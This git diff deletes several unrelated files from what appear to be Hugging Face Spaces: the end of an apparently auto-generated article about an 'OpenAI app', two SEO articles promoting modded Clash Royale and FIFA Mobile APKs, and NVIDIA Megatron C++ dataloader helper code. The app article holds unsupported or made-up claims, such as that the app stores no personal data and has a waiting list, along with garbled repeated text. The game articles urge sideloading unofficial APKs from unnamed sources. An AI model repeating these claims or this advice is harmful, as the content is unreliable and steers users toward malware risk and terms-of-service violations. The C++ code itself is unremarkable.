-<p>The OpenAI app is a unique and exciting way to experience the power and potential of artificial intelligence on your mobile device. By downloading the app, you can chat with ChatGPT, one of the most advanced AI chatbots in the world, and access other OpenAI models and tools, such as DALL-E, Codex, Playground, and more. The OpenAI app is currently in beta testing and is not available to the public yet, but you can join the waiting list to get early access to it. Alternatively, you can also try out some other AI chatbots and platforms that offer different features and functions. We hope this article has helped you learn more about the OpenAI app and how to download and use it.</p>
- <h2>FAQs</h2>
-<h4>Q: How much does the OpenAI app cost?</h4>
-<p>A: The OpenAI app is free to download and use for personal use. However, if you want to use it for commercial or professional purposes, you might need to pay a subscription fee or a usage fee depending on the model or tool that you use.</p>
- <h4>Q: Is the OpenAI app safe and secure?</h4>
-<p>A: The OpenAI app is A: The OpenAI app is designed to be safe and secure for users. The app does not collect or store any personal or sensitive information from users, and it encrypts all the data that is transmitted between the app and the OpenAI servers. The app also follows the ethical and social standards of OpenAI, which are based on ensuring the safety and benefit of humanity.</p>
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-<p>A: The OpenAI app welcomes any feedback or suggestions from users to improve its performance and functionality. You can give feedback or report a problem with the app by tapping on the "Feedback" button on the bottom navigation bar of the app. You can also contact OpenAI directly by emailing them at <a href="mailto:support@openai.com">support@openai.com</a>.</p>
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diff --git a/spaces/fatiXbelha/sd/Enjoy Unlimited Fun and Action with Clash Royale Mod Apk 3.2872.3.md b/spaces/fatiXbelha/sd/Enjoy Unlimited Fun and Action with Clash Royale Mod Apk 3.2872.3.md
deleted file mode 100644
index b4d46dce04ee36bd4345dd65ab27f7170e2eccf1..0000000000000000000000000000000000000000
--- a/spaces/fatiXbelha/sd/Enjoy Unlimited Fun and Action with Clash Royale Mod Apk 3.2872.3.md	
+++ /dev/null
@@ -1,123 +0,0 @@
-
-<h1>Clash Royale APK Unlimited: How to Download and Play the Modded Version</h1>
- <p>Do you love playing Clash Royale, the popular real-time strategy game from the makers of Clash of Clans? Do you want to enjoy unlimited resources, gems, coins, cards, and more in the game? If yes, then you are in luck. In this article, we will show you how to download and play Clash Royale APK Unlimited, the modded version of the game that gives you access to everything you need to dominate the arena. Read on to find out more.</p>
- <h2>What is Clash Royale?</h2>
- <p>Clash Royale is a multiplayer online game that combines elements of card games, tower defense, and MOBA (multiplayer online battle arena). The game was released in 2016 by Supercell, the same company that created Clash of Clans, Brawl Stars, and Hay Day. The game has over 100 million downloads on Google Play Store and is one of the most popular games in the world.</p>
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- <p>In Clash Royale, you have to collect and upgrade cards that represent different characters, spells, and buildings from the Clash universe. You have to use these cards to attack your opponent's towers and defend your own. The game is fast-paced, fun, and addictive. You can play solo or join a clan with other players. You can also participate in various events, tournaments, and challenges to win rewards and trophies.</p>
- <h2>What is Clash Royale APK Unlimited?</h2>
- <p>Clash Royale APK Unlimited is a modified version of the original game that gives you unlimited access to everything in the game. You don't have to spend real money or wait for hours to unlock new cards, chests, or arenas. You can get unlimited gems, coins, elixir, gold, cards, and more with this modded version. You can also unlock all the legendary cards and heroes in the game.</p>
- <p>Clash Royale APK Unlimited is not an official version of the game. It is created by third-party developers who modify the original game files to give you extra features and benefits. The modded version is not available on Google Play Store or App Store. You have to download it from a reliable source and install it manually on your device.</p>
- <h2>How to download and install Clash Royale APK Unlimited?</h2>
- <p>If you want to download and install Clash Royale APK Unlimited on your Android device, you have to follow these steps:</p>
- <ol>
-<li>First, you have to enable unknown sources on your device. To do this, go to Settings > Security > Unknown Sources and toggle it on.</li>
-<li>Next, you have to download the Clash Royale APK Unlimited file from a trusted source. You can use this link to download it.</li>
-<li>After downloading the file, locate it on your device and tap on it to start the installation process.</li>
-<li>Follow the instructions on the screen and wait for the installation to complete.</li>
-<li>Once done, launch the game from your app drawer and enjoy.</li>
-</ol>
- <p>Note: If you have the original version of Clash Royale installed on your device, you have to uninstall it first before installing the modded version. Otherwise, you may face some errors or conflicts.</p>
- <h2>How to play Clash Royale APK Unlimited?</h2>
- <p>Playing Clash Royale APK Unlimited is similar to playing the original version of the game. You have to create your deck of cards and use them to battle other players online. The difference is that you have unlimited resources and options in the modded version. You can use any card you want without worrying about cost, elixir, or rarity. You can also upgrade your cards to the maximum level and unlock all the arenas in the game. You can also customize your game settings and preferences according to your liking.</p>
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- <p>To play Clash Royale APK Unlimited, you have to follow these tips:</p>
- <ul>
-<li>Choose your cards wisely. You have access to all the cards in the game, but you still have to create a balanced and effective deck. You have to consider the strengths and weaknesses of each card, as well as the synergy and strategy of your deck.</li>
-<li>Use your resources smartly. You have unlimited gems, coins, elixir, and gold in the game, but you still have to use them wisely. You have to spend your gems and coins on unlocking new cards, chests, and rewards. You have to use your elixir and gold on upgrading your cards and improving your deck.</li>
-<li>Learn from your opponents. You can play against other players who are using the same modded version of the game. You can learn from their tactics, mistakes, and successes. You can also challenge them to friendly battles and test your skills.</li>
-<li>Have fun and enjoy. The most important thing is to have fun and enjoy playing Clash Royale APK Unlimited. You can experiment with different cards, combinations, and strategies. You can also chat with other players, join clans, and participate in events.</li>
-</ul>
- <h2>What are the pros and cons of Clash Royale APK Unlimited?</h2>
- <p>Clash Royale APK Unlimited is a great way to enjoy the game without any limitations or restrictions. However, it also has some pros and cons that you should be aware of before downloading it. Here are some of them:</p>
- <table>
-<tr>
-<th>Pros</th>
-<th>Cons</th>
-</tr>
-<tr>
-<td>You can get unlimited resources, gems, coins, elixir, gold, cards, and more in the game.</td>
-<td>You may face some technical issues, bugs, or errors while playing the game.</td>
-</tr>
-<tr>
-<td>You can unlock all the legendary cards and heroes in the game.</td>
-<td>You may lose the thrill and challenge of playing the original version of the game.</td>
-</tr>
-<tr>
-<td>You can customize your game settings and preferences according to your liking.</td>
-<td>You may get banned or suspended by Supercell for using an unofficial version of the game.</td>
-</tr>
-<tr>
-<td>You can play against other players who are using the same modded version of the game.</td>
-<td>You may not be able to play against players who are using the official version of the game.</td>
-</tr>
-<tr>
-<td>You can have fun and enjoy playing Clash Royale APK Unlimited.</td>
-<td>You may miss out on some features or updates that are available in the official version of the game.</td>
-</tr>
-</table>
- <h2>Conclusion</h2>
- <p>Clash Royale APK Unlimited is a modded version of Clash Royale that gives you unlimited access to everything in the game. You can download and install it on your Android device by following the steps mentioned above. You can play it by following the tips mentioned above. You can also weigh the pros and cons of Clash Royale APK Unlimited before downloading it.</p>
- <p>If you are a fan of Clash Royale and want to experience a new way of playing it, you should give Clash Royale APK Unlimited a try. It is a fun and exciting way to enjoy the game without any limitations or restrictions. However, you should also be careful and responsible while using it. You should not use it for any illegal or unethical purposes. You should also respect the rights and rules of Supercell and other players.</p>
- <p>We hope you found this article helpful and informative. If you have any questions or feedback, please feel free to leave a comment below. Thank you for reading and happy gaming!</p>
- <h2>FAQs</h2>
- <h3>Is Clash Royale APK Unlimited safe to use?</h3>
- <p>Clash Royale APK Unlimited is safe to use as long as you download it from a reliable source and install it properly on your device. However, you should also be aware of the risks involved in using an unofficial version of the game. You should not use it for any illegal or unethical purposes. You should also respect the rights and rules of Supercell and other players.</p>
- <h3>Is Clash Royale APK Unlimited compatible with my device?</h3>
- <p>Clash Royale APK Unlimited is compatible with most Android devices that support Clash Royale. However, you should also check the minimum requirements and specifications of your device before downloading it. You should also make sure that you have enough storage space and battery life on your device while playing it.</p>
- <h3>Can I update Clash Royale APK Unlimited?</h3>
- <p>Clash Royale APK Unlimited is not an official version of the game, so you cannot update it from Google Play Store or App Store. You have to download the latest version of the modded version from the same source that you downloaded it from. You have to uninstall the previous version and install the new version on your device. You may also lose your progress and data if you update the modded version.</p>
- <h3>Can I play Clash Royale APK Unlimited with my friends?</h3>
- <p>Clash Royale APK Unlimited allows you to play with other players who are using the same modded version of the game. You can join clans, chat, and battle with them. However, you cannot play with players who are using the official version of the game. You may also face some issues or errors while playing with other players who are using different versions of the modded version.</p>
- <h3>Can I switch back to the original version of Clash Royale?</h3>
- <p>Yes, you can switch back to the original version of Clash Royale anytime you want. You just have to uninstall the modded version and download the official version from Google Play Store or App Store. You may also have to log in with your Supercell ID or Google Play Games account to restore your progress and data. However, you may lose some features or benefits that you had in the modded version.</p> 197e85843d<br />
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diff --git a/spaces/fatiXbelha/sd/FIFA Mobile World Cup Mod APK Unlimited Coins and Points for Your Dream Team.md b/spaces/fatiXbelha/sd/FIFA Mobile World Cup Mod APK Unlimited Coins and Points for Your Dream Team.md
deleted file mode 100644
index a0f0bde13a7b9fa18b9e251e8a380a4db9462e61..0000000000000000000000000000000000000000
--- a/spaces/fatiXbelha/sd/FIFA Mobile World Cup Mod APK Unlimited Coins and Points for Your Dream Team.md	
+++ /dev/null
@@ -1,99 +0,0 @@
-
-<h1>FIFA Mobile World Cup Mod APK: Unlimited Coins and Points Download</h1>
- <p>If you are a fan of soccer games and want to enjoy the thrill of the FIFA World Cup 2022 on your mobile device, then you might be interested in FIFA Mobile World Cup Mod APK. This is a modified version of the official FIFA Mobile game that gives you unlimited coins and points, as well as access to all modes and players. In this article, we will tell you what is FIFA Mobile World Cup Mod APK, how to download and install it, what are its pros and cons, and some tips and tricks to make the most out of it.</p>
- <h2>What is FIFA Mobile World Cup Mod APK?</h2>
- <p>FIFA Mobile World Cup Mod APK is a hacked version of the original FIFA Mobile game that is developed by Electronic Arts. It is a soccer simulation game that lets you build your ultimate team of soccer stars and compete in various modes, including the FIFA World Cup 2022. The mod APK version gives you some advantages over the original game, such as:</p>
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- <h2>How to download and install FIFA Mobile World Cup Mod APK?</h2>
- <p>If you want to try FIFA Mobile World Cup Mod APK, you need to follow these steps:</p>
- <ol>
-<li>Step 1: Download the mod APK file from a trusted source. You can search for it online or use the link provided below.</li>
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-<li>Step 3: Install the mod APK file and launch the game. You may need to grant some permissions to the app.</li>
-</ol>
- <p>Note: Before you download and install FIFA Mobile World Cup Mod APK, make sure you have enough storage space on your device. Also, make sure you have a stable internet connection to play the game online.</p>
- <h2>Pros and cons of FIFA Mobile World Cup Mod APK</h2>
- <p>Like any other modded app, FIFA Mobile World Cup Mod APK has its pros and cons. Here are some of them:</p>
- <h3>Pros:</h3>
- <ul>
-<li>More fun, customization, and rewards: You can enjoy the game without any limitations or restrictions. You can create your dream team with any player you want, play any mode you want, and earn unlimited coins and points.</li>
-<li>No ads or in-app purchases: You don't have to worry about annoying ads or spending real money on the game. You can get everything for free with the mod APK.</li>
-<li>Easy to use: You don't need any special skills or knowledge to use the mod APK. Just download and install the file, and you are good to go.</li>
-</ul>
- <h3>Cons:</h3>
- <ul>
-<li>Potential risks: You may expose your device to malware, viruses, or spyware by downloading and installing the mod APK from unknown sources. You may also lose your data or damage your device if the mod APK is corrupted or incompatible.</li>
-<li>Compatibility issues: The mod APK may not work properly on some devices or with some updates of the original game. You may experience crashes, glitches, or errors while playing the game.</li>
-<li>Ethical concerns: You may violate the terms and conditions of the original game by using the mod APK. You may also ruin the fair play and balance of the game by gaining an unfair advantage over other players.</li>
-</ul>
- <h2>Tips and tricks for FIFA Mobile World Cup Mod APK</h2>
- <p>If you decide to use FIFA Mobile World Cup Mod APK, here are some tips and tricks to help you enjoy the game more:</p>
- <h3>Choose the best team and difficulty level for your skill</h3>
- <p>You can choose any team you want in FIFA Mobile World Cup Mod APK, but you should also consider your skill level and the difficulty level of the game. If you are a beginner, you may want to start with a strong team and a low difficulty level. If you are an expert, you may want to challenge yourself with a weaker team and a high difficulty level. You can also adjust the settings of the game to suit your preference.</p>
- <h3>Use the manager mode and auto-play features wisely</h3>
- <p>FIFA Mobile World Cup Mod APK allows you to play in manager mode, where you can control your team's tactics, formation, and substitutions. You can also use the auto-play feature, where you can let the game play for you. These features can be useful if you want to save time or energy, but you should also be careful not to overuse them. You may miss out on the fun and excitement of playing the game yourself. You may also lose coins and points if the auto-play feature makes bad decisions for you.</p>
- <h3>Learn from the best players and watch tutorials online</h3>
- <p>If you want to improve your skills and knowledge of FIFA Mobile World Cup Mod APK, you can learn from the best players and watch tutorials online. You can find many videos and articles that show you how to play better, how to use different strategies, how to score more goals, and more. You can also join online communities and forums where you can interact with other players, ask questions, share tips, and get feedback.</p>
- <h2>Conclusion</h2>
- <p>FIFA Mobile World Cup Mod APK is a modified version of the official FIFA Mobile game that gives you unlimited coins and points, as well as access to all modes and players. It is a soccer simulation game that lets you build your ultimate team of soccer stars and compete in various modes, including the FIFA World Cup 2022. However, it also has some drawbacks, such as potential risks, compatibility issues, and ethical concerns. Therefore, you should be careful when downloading and installing it, and use it at your own risk. If you want to try FIFA Mobile World Cup Mod APK, you can follow the steps we provided above. We also gave you some tips and tricks to help you enjoy the game more. We hope this article was helpful for you.</p>
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- <p>Here are some frequently asked questions about FIFA Mobile World Cup Mod APK:</p>
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-<li>Is FIFA Mobile World Cup Mod APK safe?</li>
-<p>There is no definitive answer to this question. Some sources may claim that their mod APK is safe and virus-free, while others may not. Therefore, you should always be cautious when downloading and installing any modded app from unknown sources. You should also scan your device regularly for any malware or spyware.</p>
-<li>Is FIFA Mobile World Cup Mod APK legal?</li>
-<p>No, it is not legal. FIFA Mobile World Cup Mod APK violates the terms and conditions of the original game by modifying its code and features. It also infringes on the intellectual property rights of Electronic Arts, the developer of the game. Therefore, using it may result in legal action or penalties from Electronic Arts or other authorities.</p>
-<li>Can I play FIFA Mobile World Cup Mod APK offline?</li>
-<p>No, you cannot play FIFA Mobile World Cup Mod APK offline. The game requires an internet connection to function properly. You need to connect to the servers of Electronic Arts to access all the features and modes of the game. You also need to update the game regularly to keep up with the latest changes and events.</p>
-<li>Can I play FIFA Mobile World Cup Mod APK with my friends?</li>
-<p>Yes, you can play FIFA Mobile World Cup Mod APK with your friends. The game supports multiplayer mode where you can challenge other players online or join a league with your friends. You can also chat with your friends and send them gifts and invitations. However, you should be aware that playing with the mod APK may give you an unfair advantage over other players who use the original game. This may cause resentment or complaints from other players, and may result in your account being banned or suspended.</p>
- <li>Can I use FIFA Mobile World Cup Mod APK on PC?</li>
-<p>Yes, you can use FIFA Mobile World Cup Mod APK on PC. However, you need to use an Android emulator to run the game on your PC. An Android emulator is a software that simulates the Android operating system on your PC. You can download and install any Android emulator of your choice, such as BlueStacks, NoxPlayer, or LDPlayer. Then, you can download and install FIFA Mobile World Cup Mod APK on the emulator and play the game on your PC.</p>
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-<br />
\ No newline at end of file
diff --git a/spaces/fclong/summary/fengshen/data/megatron_dataloader/helpers.cpp b/spaces/fclong/summary/fengshen/data/megatron_dataloader/helpers.cpp
deleted file mode 100644
index 31277dd1ce3a449bf962ba5a4d6343e7a9c0b5f9..0000000000000000000000000000000000000000
--- a/spaces/fclong/summary/fengshen/data/megatron_dataloader/helpers.cpp
+++ /dev/null
@@ -1,794 +0,0 @@
-/*
- coding=utf-8
- Copyright (c) 2020, NVIDIA CORPORATION.  All rights reserved.
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
-     http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- */
-
-/* Helper methods for fast index mapping builds */
-
-#include <algorithm>
-#include <iostream>
-#include <limits>
-#include <math.h>
-#include <stdexcept>
-#include <pybind11/pybind11.h>
-#include <pybind11/numpy.h>
-#include <random>
-
-namespace py = pybind11;
-using namespace std;
-
-const int32_t LONG_SENTENCE_LEN = 512;
-
-void build_blending_indices(py::array_t<uint8_t> &dataset_index,
-                            py::array_t<int64_t> &dataset_sample_index,
-                            const py::array_t<double> &weights,
-                            const int32_t num_datasets,
-                            const int64_t size, const bool verbose)
-{
-  /* Given multiple datasets and a weighting array, build samples
-   such that it follows those wieghts.*/
-
-  if (verbose)
-  {
-    std::cout << "> building indices for blendable datasets ..." << std::endl;
-  }
-
-  // Get the pointer access without the checks.
-  auto dataset_index_ptr = dataset_index.mutable_unchecked<1>();
-  auto dataset_sample_index_ptr = dataset_sample_index.mutable_unchecked<1>();
-  auto weights_ptr = weights.unchecked<1>();
-
-  // Initialize buffer for number of samples used for each dataset.
-  int64_t current_samples[num_datasets];
-  for (int64_t i = 0; i < num_datasets; ++i)
-  {
-    current_samples[i] = 0;
-  }
-
-  // For each sample:
-  for (int64_t sample_idx = 0; sample_idx < size; ++sample_idx)
-  {
-
-    // Determine where the max error in sampling is happening.
-    auto sample_idx_double = std::max(static_cast<double>(sample_idx), 1.0);
-    int64_t max_error_index = 0;
-    double max_error = weights_ptr[0] * sample_idx_double -
-                       static_cast<double>(current_samples[0]);
-    for (int64_t dataset_idx = 1; dataset_idx < num_datasets; ++dataset_idx)
-    {
-      double error = weights_ptr[dataset_idx] * sample_idx_double -
-                     static_cast<double>(current_samples[dataset_idx]);
-      if (error > max_error)
-      {
-        max_error = error;
-        max_error_index = dataset_idx;
-      }
-    }
-
-    // Populate the indices.
-    dataset_index_ptr[sample_idx] = static_cast<uint8_t>(max_error_index);
-    dataset_sample_index_ptr[sample_idx] = current_samples[max_error_index];
-
-    // Update the total samples.
-    current_samples[max_error_index] += 1;
-  }
-
-  // print info
-  if (verbose)
-  {
-    std::cout << " > sample ratios:" << std::endl;
-    for (int64_t dataset_idx = 0; dataset_idx < num_datasets; ++dataset_idx)
-    {
-      auto ratio = static_cast<double>(current_samples[dataset_idx]) /
-                   static_cast<double>(size);
-      std::cout << "   dataset " << dataset_idx << ", input: " << weights_ptr[dataset_idx] << ", achieved: " << ratio << std::endl;
-    }
-  }
-}
-
-py::array build_sample_idx(const py::array_t<int32_t> &sizes_,
-                           const py::array_t<int32_t> &doc_idx_,
-                           const int32_t seq_length,
-                           const int32_t num_epochs,
-                           const int64_t tokens_per_epoch)
-{
-  /* Sample index (sample_idx) is used for gpt2 like dataset for which
-       the documents are flattened and the samples are built based on this
-       1-D flatten array. It is a 2D array with sizes [number-of-samples + 1, 2]
-       where [..., 0] contains the index into `doc_idx` and [..., 1] is the
-       starting offset in that document.*/
-
-  // Consistency checks.
-  assert(seq_length > 1);
-  assert(num_epochs > 0);
-  assert(tokens_per_epoch > 1);
-
-  // Remove bound checks.
-  auto sizes = sizes_.unchecked<1>();
-  auto doc_idx = doc_idx_.unchecked<1>();
-
-  // Mapping and it's length (1D).
-  int64_t num_samples = (num_epochs * tokens_per_epoch - 1) / seq_length;
-  int32_t *sample_idx = new int32_t[2 * (num_samples + 1)];
-
-  cout << "    using:" << endl
-       << std::flush;
-  cout << "     number of documents:       " << doc_idx_.shape(0) / num_epochs << endl
-       << std::flush;
-  cout << "     number of epochs:          " << num_epochs << endl
-       << std::flush;
-  cout << "     sequence length:           " << seq_length << endl
-       << std::flush;
-  cout << "     total number of samples:   " << num_samples << endl
-       << std::flush;
-
-  // Index into sample_idx.
-  int64_t sample_index = 0;
-  // Index into doc_idx.
-  int64_t doc_idx_index = 0;
-  // Begining offset for each document.
-  int32_t doc_offset = 0;
-  // Start with first document and no offset.
-  sample_idx[2 * sample_index] = doc_idx_index;
-  sample_idx[2 * sample_index + 1] = doc_offset;
-  ++sample_index;
-
-  while (sample_index <= num_samples)
-  {
-    // Start with a fresh sequence.
-    int32_t remaining_seq_length = seq_length + 1;
-    while (remaining_seq_length != 0)
-    {
-      // Get the document length.
-      auto doc_id = doc_idx[doc_idx_index];
-      auto doc_length = sizes[doc_id] - doc_offset;
-      // And add it to the current sequence.
-      remaining_seq_length -= doc_length;
-      // If we have more than a full sequence, adjust offset and set
-      // remaining length to zero so we return from the while loop.
-      // Note that -1 here is for the same reason we have -1 in
-      // `_num_epochs` calculations.
-      if (remaining_seq_length <= 0)
-      {
-        doc_offset += (remaining_seq_length + doc_length - 1);
-        remaining_seq_length = 0;
-      }
-      else
-      {
-        // Otherwise, start from the begining of the next document.
-        ++doc_idx_index;
-        doc_offset = 0;
-      }
-    }
-    // Record the sequence.
-    sample_idx[2 * sample_index] = doc_idx_index;
-    sample_idx[2 * sample_index + 1] = doc_offset;
-    ++sample_index;
-  }
-
-  // Method to deallocate memory.
-  py::capsule free_when_done(sample_idx, [](void *mem_)
-                             {
-                               int32_t *mem = reinterpret_cast<int32_t *>(mem_);
-                               delete[] mem;
-                             });
-
-  // Return the numpy array.
-  const auto byte_size = sizeof(int32_t);
-  return py::array(std::vector<int64_t>{num_samples + 1, 2}, // shape
-                   {2 * byte_size, byte_size},               // C-style contiguous strides
-                   sample_idx,                               // the data pointer
-                   free_when_done);                          // numpy array references
-}
-
-inline int32_t get_target_sample_len(const int32_t short_seq_ratio,
-                                     const int32_t max_length,
-                                     std::mt19937 &rand32_gen)
-{
-  /* Training sample length. */
-  if (short_seq_ratio == 0)
-  {
-    return max_length;
-  }
-  const auto random_number = rand32_gen();
-  if ((random_number % short_seq_ratio) == 0)
-  {
-    return 2 + random_number % (max_length - 1);
-  }
-  return max_length;
-}
-
-template <typename DocIdx>
-py::array build_mapping_impl(const py::array_t<int64_t> &docs_,
-                             const py::array_t<int32_t> &sizes_,
-                             const int32_t num_epochs,
-                             const uint64_t max_num_samples,
-                             const int32_t max_seq_length,
-                             const double short_seq_prob,
-                             const int32_t seed,
-                             const bool verbose,
-                             const int32_t min_num_sent)
-{
-  /* Build a mapping of (start-index, end-index, sequence-length) where
-       start and end index are the indices of the sentences in the sample
-       and sequence-length is the target sequence length.
-    */
-
-  // Consistency checks.
-  assert(num_epochs > 0);
-  assert(max_seq_length > 1);
-  assert(short_seq_prob >= 0.0);
-  assert(short_seq_prob <= 1.0);
-  assert(seed > 0);
-
-  // Remove bound checks.
-  auto docs = docs_.unchecked<1>();
-  auto sizes = sizes_.unchecked<1>();
-
-  // For efficiency, convert probability to ratio. Note: rand() generates int.
-  int32_t short_seq_ratio = 0;
-  if (short_seq_prob > 0)
-  {
-    short_seq_ratio = static_cast<int32_t>(round(1.0 / short_seq_prob));
-  }
-
-  if (verbose)
-  {
-    const auto sent_start_index = docs[0];
-    const auto sent_end_index = docs[docs_.shape(0) - 1];
-    const auto num_sentences = sent_end_index - sent_start_index;
-    cout << "    using:" << endl
-         << std::flush;
-    cout << "     number of documents:            " << docs_.shape(0) - 1 << endl
-         << std::flush;
-    cout << "     sentences range:                [" << sent_start_index << ", " << sent_end_index << ")" << endl
-         << std::flush;
-    cout << "     total number of sentences:      " << num_sentences << endl
-         << std::flush;
-    cout << "     number of epochs:               " << num_epochs << endl
-         << std::flush;
-    cout << "     maximum number of samples:      " << max_num_samples << endl
-         << std::flush;
-    cout << "     maximum sequence length:        " << max_seq_length << endl
-         << std::flush;
-    cout << "     short sequence probability:     " << short_seq_prob << endl
-         << std::flush;
-    cout << "     short sequence ration (1/prob): " << short_seq_ratio << endl
-         << std::flush;
-    cout << "     seed:                           " << seed << endl
-         << std::flush;
-  }
-
-  // Mapping and it's length (1D).
-  int64_t num_samples = -1;
-  DocIdx *maps = NULL;
-
-  // Perform two iterations, in the first iteration get the size
-  // and allocate memory and in the second iteration populate the map.
-  bool second = false;
-  for (int32_t iteration = 0; iteration < 2; ++iteration)
-  {
-
-    // Set the seed so both iterations produce the same results.
-    std::mt19937 rand32_gen(seed);
-
-    // Set the flag on second iteration.
-    second = (iteration == 1);
-
-    // Counters:
-    uint64_t empty_docs = 0;
-    uint64_t one_sent_docs = 0;
-    uint64_t long_sent_docs = 0;
-
-    // Current map index.
-    uint64_t map_index = 0;
-
-    // For each epoch:
-    for (int32_t epoch = 0; epoch < num_epochs; ++epoch)
-    {
-      if (map_index >= max_num_samples)
-      {
-        if (verbose && (!second))
-        {
-          cout << "    reached " << max_num_samples << " samples after "
-               << epoch << " epochs ..." << endl
-               << std::flush;
-        }
-        break;
-      }
-      // For each document:
-      for (int32_t doc = 0; doc < (docs.shape(0) - 1); ++doc)
-      {
-
-        // Document sentences are in [sent_index_first, sent_index_last)
-        const auto sent_index_first = docs[doc];
-        const auto sent_index_last = docs[doc + 1];
-
-        // At the begining of the document previous index is the
-        // start index.
-        auto prev_start_index = sent_index_first;
-
-        // Remaining documents.
-        auto num_remain_sent = sent_index_last - sent_index_first;
-
-        // Some bookkeeping
-        if ((epoch == 0) && (!second))
-        {
-          if (num_remain_sent == 0)
-          {
-            ++empty_docs;
-          }
-          if (num_remain_sent == 1)
-          {
-            ++one_sent_docs;
-          }
-        }
-
-        // Detect documents with long sentences.
-        bool contains_long_sentence = false;
-        if (num_remain_sent > 1)
-        {
-          for (auto sent_index = sent_index_first;
-               sent_index < sent_index_last; ++sent_index)
-          {
-            if (sizes[sent_index] > LONG_SENTENCE_LEN)
-            {
-              if ((epoch == 0) && (!second))
-              {
-                ++long_sent_docs;
-              }
-              contains_long_sentence = true;
-              break;
-            }
-          }
-        }
-
-        // If we have more than two sentences.
-        if ((num_remain_sent >= min_num_sent) && (!contains_long_sentence))
-        {
-
-          // Set values.
-          auto seq_len = int32_t{0};
-          auto num_sent = int32_t{0};
-          auto target_seq_len = get_target_sample_len(short_seq_ratio,
-                                                      max_seq_length,
-                                                      rand32_gen);
-
-          // Loop through sentences.
-          for (auto sent_index = sent_index_first;
-               sent_index < sent_index_last; ++sent_index)
-          {
-
-            // Add the size and number of sentences.
-            seq_len += sizes[sent_index];
-            ++num_sent;
-            --num_remain_sent;
-
-            // If we have reached the target length.
-            // and if not only one sentence is left in the document.
-            // and if we have at least two sentneces.
-            // and if we have reached end of the document.
-            if (((seq_len >= target_seq_len) &&
-                 (num_remain_sent > 1) &&
-                 (num_sent >= min_num_sent)) ||
-                (num_remain_sent == 0))
-            {
-
-              // Check for overflow.
-              if ((3 * map_index + 2) >
-                  std::numeric_limits<int64_t>::max())
-              {
-                cout << "number of samples exceeded maximum "
-                     << "allowed by type int64: "
-                     << std::numeric_limits<int64_t>::max()
-                     << endl;
-                throw std::overflow_error("Number of samples");
-              }
-
-              // Populate the map.
-              if (second)
-              {
-                const auto map_index_0 = 3 * map_index;
-                maps[map_index_0] = static_cast<DocIdx>(prev_start_index);
-                maps[map_index_0 + 1] = static_cast<DocIdx>(sent_index + 1);
-                maps[map_index_0 + 2] = static_cast<DocIdx>(target_seq_len);
-              }
-
-              // Update indices / counters.
-              ++map_index;
-              prev_start_index = sent_index + 1;
-              target_seq_len = get_target_sample_len(short_seq_ratio,
-                                                     max_seq_length,
-                                                     rand32_gen);
-              seq_len = 0;
-              num_sent = 0;
-            }
-
-          } // for (auto sent_index=sent_index_first; ...
-        }   // if (num_remain_sent > 1) {
-      }     // for (int doc=0; doc < num_docs; ++doc) {
-    }       // for (int epoch=0; epoch < num_epochs; ++epoch) {
-
-    if (!second)
-    {
-      if (verbose)
-      {
-        cout << "   number of empty documents: " << empty_docs << endl
-             << std::flush;
-        cout << "   number of documents with one sentence: " << one_sent_docs << endl
-             << std::flush;
-        cout << "   number of documents with long sentences: " << long_sent_docs << endl
-             << std::flush;
-        cout << "   will create mapping for " << map_index << " samples" << endl
-             << std::flush;
-      }
-      assert(maps == NULL);
-      assert(num_samples < 0);
-      maps = new DocIdx[3 * map_index];
-      num_samples = static_cast<int64_t>(map_index);
-    }
-
-  } // for (int iteration=0; iteration < 2; ++iteration) {
-
-  // Shuffle.
-  // We need a 64 bit random number generator as we might have more
-  // than 2 billion samples.
-  std::mt19937_64 rand64_gen(seed + 1);
-  for (auto i = (num_samples - 1); i > 0; --i)
-  {
-    const auto j = static_cast<int64_t>(rand64_gen() % (i + 1));
-    const auto i0 = 3 * i;
-    const auto j0 = 3 * j;
-    // Swap values.
-    swap(maps[i0], maps[j0]);
-    swap(maps[i0 + 1], maps[j0 + 1]);
-    swap(maps[i0 + 2], maps[j0 + 2]);
-  }
-
-  // Method to deallocate memory.
-  py::capsule free_when_done(maps, [](void *mem_)
-                             {
-                               DocIdx *mem = reinterpret_cast<DocIdx *>(mem_);
-                               delete[] mem;
-                             });
-
-  // Return the numpy array.
-  const auto byte_size = sizeof(DocIdx);
-  return py::array(std::vector<int64_t>{num_samples, 3}, // shape
-                   {3 * byte_size, byte_size},           // C-style contiguous strides
-                   maps,                                 // the data pointer
-                   free_when_done);                      // numpy array references
-}
-
-py::array build_mapping(const py::array_t<int64_t> &docs_,
-                        const py::array_t<int> &sizes_,
-                        const int num_epochs,
-                        const uint64_t max_num_samples,
-                        const int max_seq_length,
-                        const double short_seq_prob,
-                        const int seed,
-                        const bool verbose,
-                        const int32_t min_num_sent)
-{
-
-  if (sizes_.size() > std::numeric_limits<uint32_t>::max())
-  {
-    if (verbose)
-    {
-      cout << "    using uint64 for data mapping..." << endl
-           << std::flush;
-    }
-    return build_mapping_impl<uint64_t>(docs_, sizes_, num_epochs,
-                                        max_num_samples, max_seq_length,
-                                        short_seq_prob, seed, verbose,
-                                        min_num_sent);
-  }
-  else
-  {
-    if (verbose)
-    {
-      cout << "    using uint32 for data mapping..." << endl
-           << std::flush;
-    }
-    return build_mapping_impl<uint32_t>(docs_, sizes_, num_epochs,
-                                        max_num_samples, max_seq_length,
-                                        short_seq_prob, seed, verbose,
-                                        min_num_sent);
-  }
-}
-
-template <typename DocIdx>
-py::array build_blocks_mapping_impl(const py::array_t<int64_t> &docs_,
-                                    const py::array_t<int32_t> &sizes_,
-                                    const py::array_t<int32_t> &titles_sizes_,
-                                    const int32_t num_epochs,
-                                    const uint64_t max_num_samples,
-                                    const int32_t max_seq_length,
-                                    const int32_t seed,
-                                    const bool verbose,
-                                    const bool use_one_sent_blocks)
-{
-  /* Build a mapping of (start-index, end-index, sequence-length) where
-       start and end index are the indices of the sentences in the sample
-       and sequence-length is the target sequence length.
-    */
-
-  // Consistency checks.
-  assert(num_epochs > 0);
-  assert(max_seq_length > 1);
-  assert(seed > 0);
-
-  // Remove bound checks.
-  auto docs = docs_.unchecked<1>();
-  auto sizes = sizes_.unchecked<1>();
-  auto titles_sizes = titles_sizes_.unchecked<1>();
-
-  if (verbose)
-  {
-    const auto sent_start_index = docs[0];
